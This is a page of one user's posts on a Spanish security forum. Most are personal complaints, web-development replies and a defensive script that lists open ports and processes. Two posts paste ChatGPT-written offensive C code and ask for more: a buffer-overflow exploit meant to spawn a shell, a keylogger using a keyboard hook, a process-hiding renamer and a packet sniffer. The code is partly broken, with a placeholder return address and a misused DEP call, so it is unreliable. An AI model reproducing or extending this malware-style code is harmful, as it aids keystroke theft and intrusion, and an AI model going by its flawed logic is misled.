elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


  Mostrar Mensajes
Páginas: 1 2 3 [4] 5 6 7 8
31  Seguridad Informática / Seguridad / Re: Pc infectado con un malware de mineria de Moneros en: 25 Febrero 2024, 13:16 pm
En Linux sería algo así, por ejemplo:

Código
  1. #!/bin/bash
  2.  
  3. echo "Puertos TCP abiertos:"
  4. netstat -tuln | grep "tcp" | while read line; do
  5.    port=$(echo $line | awk '{print $4}' | awk -F ':' '{print $NF}')
  6.    pid=$(echo $line | awk '{print $7}' | awk -F '/' '{print $1}')
  7.    process=$(ps -p $pid -o comm=)
  8.    exe=$(readlink /proc/$pid/exe)
  9.    cwd=$(readlink /proc/$pid/cwd)
  10.    cmdline=$(cat /proc/$pid/cmdline)
  11.    status=$(cat /proc/$pid/status | grep "State:" | awk '{print $2}')
  12.    cpu_usage=$(top -b -n 1 -p $pid | grep $pid | awk '{print $9}')
  13.    memory_usage=$(pmap -x $pid | tail -n 1 | awk '{print $3}')
  14.    user=$(awk -F: '$3 == '$(stat -c %u /proc/$pid/exe)' { print $1 }' /etc/passwd)
  15.    echo "Puerto: $port - Proceso: $process (PID: $pid) - Archivo: $exe - Directorio de trabajo: $cwd - Comando: $cmdline - Estado: $status - Uso de CPU: $cpu_usage% - Uso de memoria: $memory_usage - Usuario: $user"
  16.    echo "Archivos abiertos por el proceso:"
  17.    ls -l /proc/$pid/fd
  18.    echo "Árbol de procesos:"
  19.    pstree -s $pid
  20.    echo "----------------------------------------------------"
  21. done
  22.  
  23. echo "Puertos UDP abiertos:"
  24. netstat -uln | grep "udp" | while read line; do
  25.    port=$(echo $line | awk '{print $4}' | awk -F ':' '{print $NF}')
  26.    pid=$(echo $line | awk '{print $7}' | awk -F '/' '{print $1}')
  27.    process=$(ps -p $pid -o comm=)
  28.    exe=$(readlink /proc/$pid/exe)
  29.    cwd=$(readlink /proc/$pid/cwd)
  30.    cmdline=$(cat /proc/$pid/cmdline)
  31.    status=$(cat /proc/$pid/status | grep "State:" | awk '{print $2}')
  32.    cpu_usage=$(top -b -n 1 -p $pid | grep $pid | awk '{print $9}')
  33.    memory_usage=$(pmap -x $pid | tail -n 1 | awk '{print $3}')
  34.    user=$(awk -F: '$3 == '$(stat -c %u /proc/$pid/exe)' { print $1 }' /etc/passwd)
  35.    echo "Puerto: $port - Proceso: $process (PID: $pid) - Archivo: $exe - Directorio de trabajo: $cwd - Comando: $cmdline - Estado: $status - Uso de CPU: $cpu_usage% - Uso de memoria: $memory_usage - Usuario: $user"
  36.    echo "Archivos abiertos por el proceso:"
  37.    ls -l /proc/$pid/fd
  38.    echo "Árbol de procesos:"
  39.    pstree -s $pid
  40.    echo "----------------------------------------------------"
  41. done
  42.  

En Windows parece que algo así. En Powershell, que no encuentro el Código Geshi ese, he puesto el .NET como primo cercano:

Código
  1. # Obtener información sobre los puertos TCP abiertos
  2. $tcpPorts = Get-NetTCPConnection | Where-Object { $_.State -eq 'Listen' }
  3. foreach ($port in $tcpPorts) {
  4.    $pid = $port.OwningProcess
  5.    $process = Get-Process -Id $pid
  6.    $exePath = $process.Path
  7.    $cwd = Split-Path -Path $exePath -Parent
  8.    $cmdline = Get-WmiObject Win32_Process -Filter "ProcessId = $pid" | Select-Object -ExpandProperty CommandLine
  9.    $status = Get-WmiObject Win32_Process -Filter "ProcessId = $pid" | Select-Object -ExpandProperty Status
  10.    $cpuUsage = $process.CPU
  11.    $memoryUsage = $process.WorkingSet
  12.    $user = $process.GetOwner().User
  13.    Write-Host "Puerto TCP: $($port.LocalPort) - Proceso: $($process.ProcessName) (PID: $pid) - Archivo: $exePath - Directorio de trabajo: $cwd - Comando: $cmdline - Estado: $status - Uso de CPU: $cpuUsage% - Uso de memoria: $memoryUsage - Usuario: $user"
  14.    Write-Host "Archivos abiertos por el proceso:"
  15.    Get-Process -Id $pid | Get-ProcessHandle
  16.    Write-Host "Árbol de procesos:"
  17.    Get-WmiObject Win32_Process -Filter "ParentProcessId=$pid" | Format-Table ProcessId, Name, CommandLine -AutoSize
  18.    Write-Host "----------------------------------------------------"
  19. }
  20.  
  21. # Obtener información sobre los puertos UDP abiertos
  22. $udpPorts = Get-NetUDPEndpoint | Where-Object { $_.State -eq 'Listen' }
  23. foreach ($port in $udpPorts) {
  24.    $pid = $port.OwningProcess
  25.    $process = Get-Process -Id $pid
  26.    $exePath = $process.Path
  27.    $cwd = Split-Path -Path $exePath -Parent
  28.    $cmdline = Get-WmiObject Win32_Process -Filter "ProcessId = $pid" | Select-Object -ExpandProperty CommandLine
  29.    $status = Get-WmiObject Win32_Process -Filter "ProcessId = $pid" | Select-Object -ExpandProperty Status
  30.    $cpuUsage = $process.CPU
  31.    $memoryUsage = $process.WorkingSet
  32.    $user = $process.GetOwner().User
  33.    Write-Host "Puerto UDP: $($port.LocalPort) - Proceso: $($process.ProcessName) (PID: $pid) - Archivo: $exePath - Directorio de trabajo: $cwd - Comando: $cmdline - Estado: $status - Uso de CPU: $cpuUsage% - Uso de memoria: $memoryUsage - Usuario: $user"
  34.    Write-Host "Archivos abiertos por el proceso:"
  35.    Get-Process -Id $pid | Get-ProcessHandle
  36.    Write-Host "Árbol de procesos:"
  37.    Get-WmiObject Win32_Process -Filter "ParentProcessId=$pid" | Format-Table ProcessId, Name, CommandLine -AutoSize
  38.    Write-Host "----------------------------------------------------"
  39. }
  40.  
  41.  




32  Programación / Desarrollo Web / Front end boilerplate minimal latino en: 25 Febrero 2024, 10:27 am
No he subido la landing page. Pero es un proyecto web que está badtante avanzado. No acabado, pero avanzado. Es este:

https://github.com/allnulled/starter-front-oldschool

En relación a qué sentido tiene. Si tenemos browserify, webpack, eslint, tenemos grunt, gulp, etc. ¿Por qué volver atrás? Tenemos import/export. Tenemos NPM. Podemos usar módulos ES6. El web ha evolucionado mucho. ¿Por qué volver a atrás?

Es mi pregunta. Si alguien sabe leer HTML y JS, ¿puede decirme qué sentido tiene quitarse de todas esas mejoras que te ofrecen las nuevas tecnologías web?

Puedes navegar por el código. Mucho del javascript moderno lo evita. ¿Tiene sentido para alguien más hacer esto? ¿Volver a atrás? ¿Evitar sus herramientas, que son muchas?

Los frameworks van a seguir avanzando. Angular, Vue, React no se van a congelar, seguirán obsolesciendo versiones. Versiones válidas, pero siempre mejorables.

SystemJS ya lo estaba corrigiendo, a su modo. Desde la entrada de ChatGPT, siento que por fin puedo tomar cierto control del front.

¿Tiene sentido para alguien más? Para mí, sí, ahora. Antaño era: si piden Java, Java. Ahora es: si piden Angular v100, cuidado. Cuidado, porque con Java serían 1000 lo que con Node.js serían 10 líneas. Igual con Angular pasa lo mismo, total, son los reclutadores los que lo piden, y ellos no saben una *****. Los ingenieros que toman esas decisiones, sí. Pero con esos, es raro hablar.

Siendo pobre, digo. Y no teniendo contactos.

33  Foros Generales / Foro Libre / Re: Sinceridad en: 25 Febrero 2024, 09:34 am
Bueno. Entonces... qué hay que hacer para formar comunidad. Yo solo quiero un punto de luz que atraiga a programadores. El problema va más allá de no poder resolver una duda, pero suele empezar ahí. El problema es que desarrollas al final completamente desligado del mundo. Incluso parece que se haya convertido en un juego, porque dinero no te da, pero al menos te entretiene, te desafías. NO ES CIERTO. Estoy apunto de aportar soluciones que el mercado no facilita. Soluciones técnicas más eficientes y blablablablabla NO LO VA A VER NADIE, DA IGUAL LO QUE HAGA.

Machacador, yo fui humilde. Y me robó el MIT. Conoces Scratch? Pues sus sintaxis están basadas en las de NaturalScript. Y NS del lenguaje natural. A mí lo de ser humilde solo me ha servido para que me ninguneen. Además, son muchos años sin ingresos, se vive como una tortura, al final acabas faltando el respeto, no teniendo protocolos ni formas, porque sabes que ni de malas, ni de buenas. Así que no, la amabilidad ni abre puertas, ya te lo digo yo, son los cojones de la gente que te abren la puerta, y cuandi eres el negro, ni eso. Perdí el control, son muchos años. Ojalá este tedtimonio sirva para entender el daño irreparable que sufre una persona que ha sido y sigue siendo bullingueada por la ley, porque el empresario no está obligado a contratar porque va a su propio riesgo. Es la ley la que me tiene así. Sábelo, fui humilde, y solo querían hacerme más pequeño.

Si lo dices por las preguntas, son importantes algunas. Otras es para saber si hay alguien. La de las REST es importante. La organización humana depende de APIs REST. Mejires APIs REST, mejir organizaxión. Y yo sé que es la organización lo que está podrido. Es el hecho de que 4 se lleven el 99%. O que escojan el 99% de las leyes, un escaso 0.0%. Es patético, son números, es una organización numéricamente fascista. Pero supongo que como lo dixe un pobre, no sirve.

No sé. Y después de esas preguntas, tengo más preparadas, más importantes. Pero bueno, llevamos añis solo, ya no importa tanto. Simplemente, verás que cada vez más, me importa menis lo que me digan, yo tengo que hacer mis pruebas sociales igual. Te gusten o no, tengi que testear las posibles salidas a esta situaxión. De pobreza extrema sostwnida. Y de leyes nazis contra mí y mi amor a la marihuana.
34  Foros Generales / Foro Libre / Re: Sinceridad en: 24 Febrero 2024, 15:15 pm
A ver. Lo del dinero ha sido un comentario. Ni siquiera sé si pagaban. Pero antes al cabo de un día alguien te había respondido. Típicamente, que te hagas tú mismo los deberes. Pero a los días alguien decía algo, joé. Qué ha pasado, si en la webdelprogramador no puedes ni registrarte. Qué está pasando.
35  Foros Generales / Foro Libre / Re: Sinceridad en: 24 Febrero 2024, 11:02 am
Gracias, compañero por responder. Antes no era así, antes los delegados de cada subforo luchaban por responder más y mejor que los usuarios. Y no les pagaban, por pasión.

No sé. ChatGPT está bien, pero es insuficiente para algunas cosas, además que falla.

Por otro lado, soy un poco rudo por internet, y a lo mejor no caigo bien. Entonces entiendo que no se me responda, por acritud personal. Si es eso, pues está birn saberlo también.

Es un momento truculento en la informática y en la programación. Estaría bien que las personas aprendiéramos a intercambiar información de manera productiva frente a los nuevos escenarios, info fresca. Y un foro está bien porque un chat da pie a más inmediatez, y eso es menos reflexión.

Pero bueno, yo qué sé. Yo qué sé, habrá que conformarse con vivirlo en asíncrono.
36  Foros Generales / Foro Libre / Sinceridad en: 24 Febrero 2024, 06:35 am
 A ver, llevo haciendo preguntas importantes en el foro este y nadie responde.

Quiero saber por qué. Realmente no hay nadie. O va de enseñar algo. O cómo.

Sinceridad.
37  Programación / Desarrollo Web / Re: Web de comercio para adolescente. en: 23 Febrero 2024, 16:00 pm
Sí, WP + WooCommerce es una solución gratuita.
38  Programación / Desarrollo Web / Re: Como hago para recibir (correo_o_telefono y contraseña en mi base de datos. Aqui mi codigo en: 23 Febrero 2024, 15:59 pm
Sí, es cierto, es ilegal no cifrarlos.
39  Seguridad Informática / Bugs y Exploits / Explicación de buffer overflow en: 23 Febrero 2024, 11:43 am
He estado hablando con ChatGPT. Para entender un Buffer Overflow. Mi pregunta es si este código es correcto, y qué son los caracteres sueltos que hardcodea en hexadecimal.

Esto decía el bicharrak.


Mis disculpas por la confusión. Aquí tienes un ejemplo de un programa vulnerable en C para Windows que sufre de un desbordamiento de búfer y su correspondiente exploit que ejecutará una shell como payload:

Programa vulnerable (vulnerable.c):

Código
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. void funcion_vulnerable(const char *entrada) {
  5.    char buffer[10];
  6.    strcpy(buffer, entrada);
  7.    printf("Buffer: %s\n", buffer);
  8. }
  9.  
  10. int main(int argc, char *argv[]) {
  11.    if (argc != 2) {
  12.        printf("Uso: %s <entrada>\n", argv[0]);
  13.        return 1;
  14.    }
  15.  
  16.    funcion_vulnerable(argv[1]);
  17.  
  18.    return 0;
  19. }
  20.  

Exploit (exploit.c):

Código
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <windows.h>
  4.  
  5. // Función maliciosa que se ejecutará
  6. void codigo_malicioso() {
  7.    // Ejecutar CMD.exe
  8.    system("cmd.exe");
  9. }
  10.  
  11. int main() {
  12.    // Crear un payload que contiene el código malicioso
  13.    char payload[100];
  14.    memset(payload, 'A', sizeof(payload)); // Llenar el payload con caracteres 'A'
  15.  
  16.    // Sobrescribir la dirección de retorno con la dirección de la función maliciosa
  17.    // Suponiendo que la dirección de la función maliciosa es 0x12345678
  18.    memcpy(payload + 90, "\x78\x56\x34\x12", 4); // Little-endian
  19.  
  20.    // Ejecutar el programa vulnerable con el payload como entrada
  21.    // Suponiendo que el programa vulnerable se llama "vulnerable.exe"
  22.    // y está en el mismo directorio que este exploit
  23.    char comando[200];
  24.    sprintf(comando, "vulnerable.exe %s", payload);
  25.    system(comando);
  26.  
  27.    return 0;
  28. }
  29.  

Para compilar ambos programas en Windows, puedes utilizar un compilador de C como MinGW. Por ejemplo, desde la línea de comandos de Windows:

```
gcc vulnerable.c -o vulnerable.exe
gcc exploit.c -o exploit.exe
```

Luego, puedes ejecutar el exploit para aprovechar la vulnerabilidad en el programa vulnerable y ejecutar una shell:

```
exploit.exe
```
40  Seguridad Informática / Bugs y Exploits / ¿Maldades con la Win API de C? en: 23 Febrero 2024, 11:21 am
¿Esto es un keylogger a bajo nivel?

Código
  1. #include <windows.h>
  2. #include <stdio.h>
  3.  
  4. LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
  5.    if (nCode >= 0) {
  6.        if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
  7.            KBDLLHOOKSTRUCT *pKey = (KBDLLHOOKSTRUCT *)lParam;
  8.            printf("Tecla pulsada: %d\n", pKey->vkCode);
  9.        }
  10.    }
  11.  
  12.    return CallNextHookEx(NULL, nCode, wParam, lParam);
  13. }
  14.  
  15. int main() {
  16.    // Instalar el gancho de teclado
  17.    HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
  18.    if (hook == NULL) {
  19.        printf("Error al instalar el gancho de teclado.\n");
  20.        return 1;
  21.    }
  22.  
  23.    // Mantener el programa en ejecución
  24.    MSG msg;
  25.    while (GetMessage(&msg, NULL, 0, 0) > 0) {
  26.        TranslateMessage(&msg);
  27.        DispatchMessage(&msg);
  28.    }
  29.  
  30.    // Desinstalar el gancho de teclado antes de salir
  31.    UnhookWindowsHookEx(hook);
  32.  
  33.    return 0;
  34. }
  35.  

¿Y esto, es un proceso de nombre travieso?

Código
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <string.h>
  4. #include <time.h>
  5.  
  6. int main() {
  7.    srand(time(NULL)); // Inicializar la semilla para generar nombres aleatorios
  8.  
  9.    while (1) {
  10.        // Generar un nuevo nombre aleatorio para el proceso
  11.        char nuevo_nombre[256];
  12.        sprintf(nuevo_nombre, "Proceso_%d", rand());
  13.  
  14.        // Obtener el identificador del proceso actual
  15.        DWORD id_proceso = GetCurrentProcessId();
  16.  
  17.        // Obtener el identificador del proceso
  18.        HANDLE h_proceso = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_SET_INFORMATION, FALSE, id_proceso);
  19.  
  20.        if (h_proceso != NULL) {
  21.            // Cambiar el nombre del proceso
  22.            if (!SetProcessDEPPolicy(0)) {
  23.                printf("Error al cambiar el nombre del proceso. Código de error: %d\n", GetLastError());
  24.                return 1;
  25.            }
  26.  
  27.            // Restaurar el nombre del proceso utilizando un método de bajo nivel
  28.            HMODULE kernel32 = GetModuleHandleA("kernel32.dll");
  29.            if (kernel32 != NULL) {
  30.                FARPROC proc = GetProcAddress(kernel32, "SetProcessInformation");
  31.                if (proc != NULL) {
  32.                    ((BOOL(WINAPI *)(HANDLE, DWORD, PVOID, DWORD))proc)(h_proceso, 0x1d, nuevo_nombre, strlen(nuevo_nombre) + 1);
  33.                }
  34.            }
  35.  
  36.            // Cerrar el handle del proceso
  37.            CloseHandle(h_proceso);
  38.        } else {
  39.            printf("Error al obtener el identificador del proceso. Código de error: %d\n", GetLastError());
  40.            return 1;
  41.        }
  42.  
  43.        // Esperar un segundo antes de cambiar el nombre nuevamente
  44.        Sleep(1000);
  45.    }
  46.  
  47.    return 0;
  48. }
  49.  

No lo sé. ¿Lo son? ¿Qué otras cosas se pueden hacer? Mmmm...

¿Interceptar todo el tráfico?

Código
  1. #include <stdio.h>
  2. #include <pcap.h>
  3.  
  4. void procesar_paquete(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) {
  5.    printf("Paquete capturado, longitud: %d\n", header->len);
  6. }
  7.  
  8. int main() {
  9.    pcap_t *handle;
  10.    char errbuf[PCAP_ERRBUF_SIZE];
  11.  
  12.    // Abrir la interfaz de red para capturar
  13.    handle = pcap_open_live("\\Device\\NPF_{A6D38AA9-CCE1-49B9-BC0C-2B3C79E349E1}", 65536, 1, 1000, errbuf);
  14.    if (handle == NULL) {
  15.        fprintf(stderr, "Error al abrir la interfaz: %s\n", errbuf);
  16.        return 1;
  17.    }
  18.  
  19.    // Compilar y aplicar el filtro (opcional)
  20.    struct bpf_program fp;
  21.    char filter_exp[] = "ip"; // Filtro de ejemplo para capturar paquetes IP
  22.    if (pcap_compile(handle, &fp, filter_exp, 0, PCAP_NETMASK_UNKNOWN) == -1) {
  23.        fprintf(stderr, "Error al compilar el filtro: %s\n", pcap_geterr(handle));
  24.        return 1;
  25.    }
  26.    if (pcap_setfilter(handle, &fp) == -1) {
  27.        fprintf(stderr, "Error al aplicar el filtro: %s\n", pcap_geterr(handle));
  28.        return 1;
  29.    }
  30.  
  31.    // Capturar y procesar paquetes
  32.    pcap_loop(handle, 0, procesar_paquete, NULL);
  33.  
  34.    // Cerrar el manejador de captura
  35.    pcap_close(handle);
  36.  
  37.    return 0;
  38. }
  39.  
  40.  


No sé si funcionarán. ¿Más del estilo?
Páginas: 1 2 3 [4] 5 6 7 8
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines